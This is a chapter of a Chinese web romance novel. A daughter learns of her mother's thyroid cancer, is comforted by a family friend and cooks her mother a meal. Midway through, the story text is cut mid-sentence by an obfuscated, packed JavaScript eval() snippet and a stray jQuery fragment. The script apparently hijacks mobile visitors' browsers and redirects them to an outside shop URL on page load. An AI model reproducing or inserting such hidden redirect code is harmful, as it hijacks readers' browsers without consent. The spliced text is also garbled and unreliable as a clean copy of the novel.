15. 夏至
作品:《男友是二手网淘来的》 “啪嗒。”
诊断室的门开了,柳薄烟几乎是没有思考的,将脸埋进面前人的肩膀处,推着他往一旁的走廊走。
想避开黄圣婷的视线。
过了会儿,她没有抬头,瓮声瓮气道:“我妈走了吗?”
夏天的衣服很薄,她一靠上来,那个地方的衬衫就湿了大半,顾庭深的胳膊僵持在半空中,喉咙干涩的发痒。
没听到回答,柳薄烟小幅度的回头,身后已然没了黄圣婷的身影。
她这才有些不好意思地从他怀里退开。
柳薄烟抬头看了眼顾庭深,被泪水打湿过的眼眸发着亮。
顾庭深见惯了她眉眼带笑的样子,此刻见她眼眶通红、鼻尖泛粉,心口莫名也跟着一沉。
似是对自己的反应不喜,他紧抿着唇,把这归结为这是身为一名文字工作者最基本的共情能力。
柳薄烟是想道谢的,只是还没来得及开口,身后的门又被推开,走出来位穿白大褂的医生,看样子是要下班。
她朝他递了个满怀歉意的眼神,转身拦住医生。
“你好,刚刚的患者是我妈妈,方便耽误您一会儿,聊一聊吗?”
医生诧异地看了眼面前泪水都还没擦干的女人,又抬手看了眼时间,犹豫了半瞬间还是同意了。
进了诊室,柳薄烟才知道黄圣婷早在去年底就查出来这个病了,只是她四处问诊求证,最后才在江一院确定下来治疗方案,今天又托关系找到这里帮忙再评估身体。
医生姓刘,是她妈妈同事的关门弟子,凭着这层关系,黄圣婷才能在下班后还能看诊。
刘医生已经见多了这种事情,但还是温和地说:“你别太紧张,甲状腺□□状癌恶性程度很低,属于预后最好的一类癌。只要手术规范切除,后续配合治疗,绝大多数人都能长期生存,基本等于根治,对寿命影响很小。”
柳薄烟悬起来的心稍微往下落了落,不管是什么病,她都要把老妈治好。
“但我们整体评估过了你妈妈现在的身体状况,暂时还不适合马上做手术。因为她血象指标有些差,如果现在硬上,风险会很高,术后也容易出现问题,反而不利。”
柳薄烟正在做记录,闻言抬头,“血象指标?那我应该怎么帮她调上去呢?”
刘医生通俗解释了血象,又被拉着回答了好几个问题,直到护士催着要去查房才匆匆嘱托:“没什么大事,多吃点蛋白质,不熬夜不生气不焦虑,指标很快就上去了。”
“那我加您一个微信可以吗?”柳薄烟赶紧将早就准备好的二维码递上,连声道谢。
备注好名字,她走出诊室,一抬头,就发现顾庭深还没走,正在休息椅上抱臂闭目养神。
…
…
“今天谢谢你了。”
车子驶进夜里,路灯在车窗上拉出一道道模糊的光带。远处的楼群一盏盏亮着,又一盏盏暗下去,柳薄烟头靠在玻璃窗上,出神地望向窗外。
玻璃冰凉,行车间有震动,撞得额角生疼,但她却像是毫无知觉般。
顾庭深偏头,不露痕迹地减缓了车速。
刚想开口,只听女人自顾自说道:“我是不是始终也做不好女儿啊。”
老妈生病了这么久,明明早就有迹可循,可她却一直不曾关心过。她不敢想老妈在四处奔波寻医的时候该有多么无助难受,就连唯一的女儿也不在身边。
算算时间,那个时候她还在跟她争吵叛逆,不想相亲。
这也是她一直不肯告诉她的原因之一吧。
失望。
更别提当初的爸爸。
那时候柳薄烟刚上大学,在一个很普通的周末,一个很普通的晴天。她跟舍友相约去邻市爬山,但柳序突然说自己炖了汤叫她回家喝,她不依,非要爬完山再回家。
由于山上突然下起了雨,等爬完天已经黑透了,柳薄烟便在附近找了家酒店,想着第二天再回家。
没想到,当天半夜,她和舍友聊的最尽兴的时候,老妈突然打来电话,说爸爸在等她回家吃饭的时候猝死了。
思绪兜兜转转绕回来,柳薄烟忽然觉得,自己好像从来都没做好过一次女儿。
眼泪无声砸在衣襟上,她没抬手去擦,只任由凉意顺着脖颈往下滑,一路凉到心口。
“要回学校吗?”顾庭深目视前方,神情专注,像是没听见她的话。
黄圣婷早在节后就搬去了江大教师公寓,周末不忙的时候才会去柳薄烟那里。后者摇摇头,擦干泪水,开始搜索有关甲状腺癌的资料。
车内安静得过分,只偶尔出现吸鼻的轻微响动。
不过二十分钟,顾庭深将车稳稳停靠在她小区路边,然后开门下车。
下车的时候,他将车窗半开着,好让空气流通,让里面的人呼吸不会太难受。
以至于他还没来得及走远,就听见车内飘出的压抑而悲恸的哭声。
闷闷地裹在车里,细碎又沙哑,每一声哽咽,都像被狠狠揉碎了再漏出来。
绷了整晚的情绪终于得以释放。
稠黑的夜幕上挂着弯残月,像一道没愈合的伤口,浅浅地亮着。
顾庭深抬头望月,他已经久到忘却哭的感觉了,但是此刻,胸口竟跟着也有些发闷。
没过多久,柳薄烟下车了,她脸上的泪水已经被擦干,残留着少许斑驳痕迹。
“今天真的麻烦你了,过几天请你吃饭哦”,她仿佛已经恢复过来了,嘴角扯出个甜甜的笑,眼睛比路灯还要亮。
顾庭深想起几年前在老师葬礼上,那张满脸泪痕却又同样倔强的脸。
不知何故,他抬手叫住了正要离开的女人。
嗓音压得很低,又格外真诚:“我没有在爸妈身边长大过,不知道该怎么回答你的问题,但我知道,你的存在,已经是师母最珍视的宝藏。”
顿了顿,他又道:“如果师母出了什么事,你随时可以来找我帮忙。”
柳薄烟有瞬间错愕,她没想过顾庭深会安慰自己。
人行道上,一家三口刚散步回来,爸爸手上提着小孩的滑板车,妈妈牵着小孩,一人拿着根冰棍,有说有笑的走过。
有风吹过,带下几片枯黄的树叶。
江城就是这个样子,一整个冬天,树叶基本不会掉落,可但凡到了春夏交替之际,只需一个有风的夜晚,深绿的叶子便争先恐后钻出来,提醒人们盛夏已至。
视线回收,柳薄烟半开玩笑般道:“春天就这样悄无声息地溜走了。”
她还没好好抓住,怎么就溜走了呢。
柳薄烟刚抬脚,身后就传来道很轻的声音。
“你还会拥有无数个春天,不是吗?”
…
…
昨天查资料查得有些晚,柳薄烟没听见闹钟,醒来的时候离打卡只剩两分钟了。
她眨眨眼,确认自己不是还在做梦,紧接着翻阅相册,找了张之前自己生病的照片,赶在九点前发给了老莫请假。
然后,如释重负般丢开手机。
她盯着天花板发了半天的呆,将阴郁的情绪积压进心底,才翻身起床。
家里没有顶梁柱怎么行?
简单洗漱后,柳薄烟边涂防晒,边往书桌走,寻找做笔记的本子。
饮食上侧重高蛋白、好消化的食物,注重休息和活动,不能生气烦躁,预防感冒发烧,配合药物调理……
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469505|201399||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨晚找尽了人脉去问医生,都说这个癌症是最好治的,只要规范手术,术后规范复查,有百分之九十八以上可以达到“临床治愈”。
难就难在……老妈的身体还不能手术啊。
黑色签字笔在饮食上着重画圈,柳薄烟咬唇思索,出于对老妈的职业考虑,她也只能先从这方面下手了。
说干就干,去江大的路上,她潜心研学了两道菜,一道清蒸鲈鱼、一道虾仁蒸蛋。
都是简单好上手的,方便又快捷。
到了老妈宿舍,柳薄烟鞋都没换,撂下包就匆匆下楼买菜,想着今天不上班,顺带将晚上的菜也买了。
这边的超市很小,没有鲈鱼,只有一个不知道什么名字的浅水鱼,虾的个头也很小,要不是柳薄烟买的多,剥完皮之后就只有一点。
但是,这也不够吧?
她只能将晚上的菜一起处理。
老妈十一点五十下课,柳薄烟掐着点给她打去电话,说自己已经做好了饭,在公寓等她。
不等对方回答就自顾自挂断电话,转头寻找医药箱。
方才剥虾的时候不小心割破了手,毕竟属于海鲜一类,也不知道需不需要去医院打破伤风。
简单消毒后她没贴创口贴,怕老妈担心。
没过多久,门铃就响了。
“妈妈!欢迎回家~”
柳薄烟听到开门的声音,围裙都没脱,小跑到桌前,指着上面还冒着热气的餐盘,“当当当!清蒸鱼、虾仁蒸蛋、白灼菜心……”
目光在扫到妈妈身后的男人时,突然一顿,卡了壳。
后者朝她微微点头。
“怎么了?”
黄圣婷上了整上午的课,口干舌燥得紧,快步走去打热水。
方才还张牙舞爪的姿势瞬间收敛住了,柳薄烟不太自然地蹿进厨房:“我去盛饭。”
他怎么来了?
虽然拜托过他在学校碰见老妈的时候别戳破,但也不至于直接到家里来吧。
昨晚太丢人了,现在见他都有些尴尬。
她看着锅里香甜的饭粒,忽然给男人的那份多按了半碗。
“路上碰见了师母。”
顾庭深过来洗手,简单解释了一句,注意到她指尖的伤口,“受伤了?”
“小伤口,现在都要愈合了。”
她毫不在意,一手端着一只碗,正准备在手腕处再放一只时,却被顾庭深自然接过,然后往外走。
黄圣婷刚喝完水,看见他俩一前一后从厨房里出来,脸上还挂着笑,突然觉得叫顾庭深过来吃饭是个明智的决定。
“薄烟还是第一次做饭,也不知道味道怎么样,小顾你别嫌弃”,黄圣婷的指尖在桌上悬了半天,最终指了指靠边的蛋花汤:“先喝口热汤吧。”
柳薄烟也知道自己做的菜卖相不好,但她尝过了,味道一绝,先给老妈夹了块最嫩的鱼腩肉。
“给小顾也夹一块呀。”
“怎么可能不给他夹!”
她瞥了眼旁边正在替老妈盛汤的男人,同样给他夹了块鱼肉,笑眯眯道:“阿深,快尝尝我的手艺。”
可能蒸的时间有点久,鱼的皮都有些干巴,但裹满了酱汁估计他也看不出来。
柳薄烟暗戳戳的想。
她实在是不会做饭,怕油蹦出来、怕炒不熟,怕味道不好,于是就干脆把所有东西都丢进锅里煮,按照配方放调料。
口感不知道是什么样,但口味肯定是好的。
顾庭深慢条斯理咽下鱼肉,抬眼看她:“今天没上班?”
柳薄烟一怔,下意识点头。
他垂下眼,像是想起了什么,又抬起头来,“有空陪我回趟家吗?”

